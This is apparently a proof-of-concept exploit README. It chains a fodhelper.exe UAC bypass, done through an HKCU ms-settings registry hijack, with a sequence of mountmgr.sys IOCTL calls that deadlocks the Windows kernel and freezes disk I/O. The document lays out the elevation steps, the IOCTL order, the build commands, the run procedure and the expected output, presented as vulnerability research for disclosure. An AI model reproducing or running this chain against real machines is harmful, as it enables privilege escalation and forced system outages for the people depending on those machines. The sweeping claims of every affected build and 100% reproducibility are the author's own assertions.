Windows mountmgr.sys Kernel Deadlock - Non-Admin to System Read and Write Freeze

Type: Kernel Deadlock (Denial of Service)
Impact: Complete system freeze requiring hard reboot
Access Required: Standard non-admin user account

---

Overview

This repository contains a proof-of-concept exploit demonstrating a critical kernel deadlock vulnerability in the Windows Mount Point Manager driver (mountmgr.sys). The vulnerability allows a standard non-admin user to trigger a complete system freeze through an automated privilege escalation chain.

The exploit chains a UAC bypass technique with a previously undiscovered kernel bug to achieve system-wide denial of service from an unprivileged context.

---

Technical Summary

Vulnerability Details

Component: mountmgr.sys (Windows Mount Point Manager Driver)
Type: Kernel deadlock in IOCTL handler
Root Cause: Lock inversion during blocking I/O operations
Trigger: Specific sequence of DeviceIoControl calls with registry write operations

Attack Chain

Standard User → UAC Bypass → Administrative Context → mountmgr.sys IOCTLs → Kernel Deadlock

The exploit performs the following sequence:

1. Detects non-admin execution context
2. Leverages fodhelper.exe registry hijack for silent elevation
3. Opens multiple handles to \\.\MountPointManager device
4. Issues IOCTL_MOUNTMGR_DELETE_POINTS causing registry write
5. Issues IOCTL_MOUNTMGR_SET_AUTO_MOUNT while lock is held
6. Triggers circular wait condition in kernel
7. Storage stack deadlock causes complete system freeze

System Impact

When triggered, the vulnerability causes:

• Complete kernel deadlock (no BSOD, system simply freezes)
• All disk I/O operations halt
• Storage stack becomes unresponsive
• User interface freezes (keyboard/mouse still responsive but ineffective)
• System requires hard reboot for recovery

Proof of Exploitation

Screenshot showing the exploit execution on Windows 10 VM. PowerShell prompt turned red indicating disk I/O failure, system completely frozen. The exploit was run from a non-admin PowerShell session and successfully triggered the kernel deadlock via UAC bypass.

---

Exploit Architecture

┌─────────────────────────────────────────────────────────────┐
│ STAGE 1: Non-Admin Execution                                │
└─────────────────────────────────────────────────────────────┘

    Process: nonadmin.exe (Standard User Context)
        │
        └─> Check current privilege level
            └─> Result: Non-admin token detected


┌─────────────────────────────────────────────────────────────┐
│ STAGE 2: Silent Privilege Escalation                        │
└─────────────────────────────────────────────────────────────┘

    UAC Bypass Method: fodhelper.exe Registry Hijack
        │
        ├─> Write to HKCU\Software\Classes\ms-settings\Shell\Open\command
        │   (User-writable registry key, no elevation required)
        │
        ├─> Set value: "nonadmin.exe --elevated"
        │
        └─> Execute: C:\Windows\System32\fodhelper.exe
            │
            └─> fodhelper.exe behavior:
                ├─> Signed Microsoft binary
                ├─> Auto-elevates without UAC prompt
                ├─> Reads compromised registry key
                └─> Launches payload with admin privileges


┌─────────────────────────────────────────────────────────────┐
│ STAGE 3: Kernel Exploitation                                │
└─────────────────────────────────────────────────────────────┘

    Process: nonadmin.exe --elevated (Admin Context)
        │
        ├─> Loop through access mode variations:
        │   ├─> GENERIC_READ
        │   ├─> GENERIC_WRITE
        │   ├─> GENERIC_READ | GENERIC_WRITE
        │   ├─> 0 (minimal permissions)
        │   └─> FILE_READ_DATA | FILE_WRITE_DATA
        │
        └─> For each access mode:
            │
            ├─> CreateFileW("\\.\MountPointManager", access_mode, ...)
            │   └─> Driver: mountmgr!IRP_MJ_CREATE
            │
            ├─> DeviceIoControl(IOCTL_MOUNTMGR_QUERY_POINTS)
            │   └─> Query mount point database
            │
            ├─> DeviceIoControl(IOCTL_MOUNTMGR_DELETE_POINTS)
            │   └─> Driver acquires internal mutex
            │       └─> Calls RtlWriteRegistryValue
            │           └─> Performs blocking registry I/O
            │               └─> Mutex still held during I/O
            │
            └─> DeviceIoControl(IOCTL_MOUNTMGR_SET_AUTO_MOUNT)
                └─> Driver attempts to acquire same mutex
                    └─> Deadlock: circular wait condition


┌─────────────────────────────────────────────────────────────┐
│ STAGE 4: System Deadlock                                    │
└─────────────────────────────────────────────────────────────┘

    Kernel State:
        │
        ├─> Thread A (IOCTL handler):
        │   ├─> Holds: mountmgr device mutex
        │   ├─> Waiting: registry write completion
        │   └─> Blocked: disk I/O subsystem
        │
        ├─> Thread B (storage stack):
        │   ├─> Waiting: mountmgr mutex
        │   └─> Blocked: cannot proceed
        │
        └─> Circular dependency:
            Thread A → Disk I/O → mountmgr → Thread A
            
            Result: Complete system freeze


┌─────────────────────────────────────────────────────────────┐
│ Observable Symptoms                                         │
└─────────────────────────────────────────────────────────────┘

    - PowerShell prompt turns red (disk I/O failed)
    - File operations hang indefinitely
    - Desktop wallpaper disappears (cannot read from disk)
    - Windows key becomes non-functional
    - No BSOD generated (deadlock, not crash)
    - Hard reboot required for recovery

---

Building

Requires Microsoft Visual C++ compiler (MSVC).

# From x64 Native Tools Command Prompt:
.\build.bat

Output:

• environment_capture.exe - System information tool
• exploit.exe - Admin-privileged exploit
• nonadmin.exe - Non-admin exploit with UAC bypass

---

Reproduction Steps

WARNING: This exploit will completely freeze your system disk read and write. Consider using a virtual machines with snapshots.

Prerequisites

• Windows 10 or Windows 11 (any build)
• Virtual machine environment (VMware/VirtualBox/Hyper-V)
• Snapshot capability for recovery
• Do not run on production systems

Step 1: Gather System Information

.\environment_capture.exe

This collects:

• Operating system version and build
• mountmgr.sys driver version
• System architecture
• Current privilege level

Step 2: Create VM Snapshot

Take a snapshot of your VM before proceeding. The system will freeze and require hard reboot.

Step 3: Execute Exploit

# Open standard PowerShell (NOT "Run as Administrator")
.\nonadmin.exe

Expected output:

NON-ADMIN EXPLOIT - mountmgr.sys DoS via UAC Bypass
Target: Windows Mount Point Manager (mountmgr.sys)
Method: UAC bypass (fodhelper.exe) -> Admin escalation -> Deadlock
Access: Starts as NON-ADMIN, auto-elevates to ADMIN
Impact: System-wide freeze, hard reboot required

[*] Running as NON-ADMIN
[*] Attempting UAC bypass via fodhelper.exe...
[+] Registry hijack successful
[*] Launching fodhelper.exe to trigger elevation...
[+] Running in elevated context (UAC bypassed!)
[+] Confirmed running as ADMIN
[*] Triggering mountmgr.sys deadlock...

System will freeze RW within 5 seconds.

Step 4: Observe System State

After exploit execution, the system will exhibit:

• PowerShell prompt turns red
• All disk operations fail
• File reads/writes hang indefinitely
• Desktop wallpaper disappears
• Windows key stops responding
• No BSOD occurs (deadlock, not crash)

Step 5: Force Reboot

Hold power button to force shutdown. Reboot VM and restore from snapshot if needed.

Step 6: Verify Impact

After reboot, check Event Viewer:

Get-EventLog -LogName System -After (Get-Date).AddHours(-1) | 
    Where-Object {$_.EventID -eq 6008}

Expected result: Event ID 6008 indicating unexpected system shutdown.

---

Root Cause Analysis

Vulnerable Code Path

The vulnerability exists in the mountmgr.sys driver's IOCTL handlers. The driver performs blocking I/O operations while holding critical locks, creating a deadlock condition.

Simplified pseudocode:

NTSTATUS MountMgrDeletePoints(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PMOUNT_MGR_DEVICE_EXT deviceExt = DeviceObject->DeviceExtension;
    
    // Acquire device mutex
    KeWaitForSingleObject(&deviceExt->DeviceLock, ...);
    
    // Perform blocking registry write while holding lock
    RtlWriteRegistryValue(
        HKLM,
        L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\mountmgr",
        L"NoAutoMount",
        REG_DWORD,
        &value,
        sizeof(value)
    );
    
    // This registry write triggers:
    //   -> ZwSetValueKey
    //     -> CmpSetValueKeyExisting
    //       -> CmpDoFlushAll
    //         -> IopSynchronousServiceTail
    //           -> Wait for disk I/O (while lock is held)
    
    // Meanwhile, storage stack tries to acquire same lock
    // Result: circular wait -> deadlock
    
    KeReleaseMutex(&deviceExt->DeviceLock);  // Never reached
    return STATUS_SUCCESS;                    // Never reached
}

Lock Inversion Sequence

1. IOCTL handler acquires mountmgr internal mutex
2. Handler calls RtlWriteRegistryValue (blocking I/O)
3. Registry write waits for disk I/O completion
4. Disk I/O requires mountmgr to process requests
5. mountmgr cannot proceed (mutex held by step 1)
6. Circular wait condition: deadlock

---

Affected Versions

Based on testing and code analysis:

• Windows 10 (all versions, all builds)
• Windows 11 (all versions, all builds)
• Windows Server 2016
• Windows Server 2019
• Windows Server 2022

The vulnerability exists in the core mountmgr.sys driver design and affects all recent Windows versions.

---

Legal Disclaimer

This research is provided for defensive security purposes and responsible disclosure to Microsoft Security Response Center.

Prohibited Actions:

• Using this exploit without authorization
• Testing on systems you do not own
• Weaponizing for malicious purposes
• Public disclosure before patch release

Permitted Actions:

• Security research on personal test systems
• Reporting to Microsoft MSRC
• Defensive security analysis

---

Credits

Researcher: Icarus with a0rg - A security and systems research group
Tools: Ghidra, WinDbg, MSVC
Date: 12th October 2025

---

Additional Notes

Notes on Severity

1. Privilege Escalation Chain: Non-admin to admin via UAC bypass
2. Kernel-Level Impact: Affects core system driver
3. System-Wide DoS: Complete system read and write freeze, not just process crash
4. No User Interaction: Fully automated after initial execution
5. Storage Stack Affected: Impacts critical system functionality

Comparison to Similar Vulnerabilities

This vulnerability differs from typical admin-required bugs because:

• Standard user can trigger it (via UAC bypass)
• Causes kernel deadlock, not just driver crash
• Affects storage subsystem (broader impact)
• No crash dump generated (harder to detect/diagnose)
• 100% reproducible on all tested Windows versions

Testing Notes

Observations:

• Exploit succeeds 100% of the time
• System freeze occurs within 5 seconds
• No BSOD or crash dump generated
• WinDbg shows storage stack threads blocked
• Event logs show unexpected shutdown (Event ID 6008)

---

End of Technical Report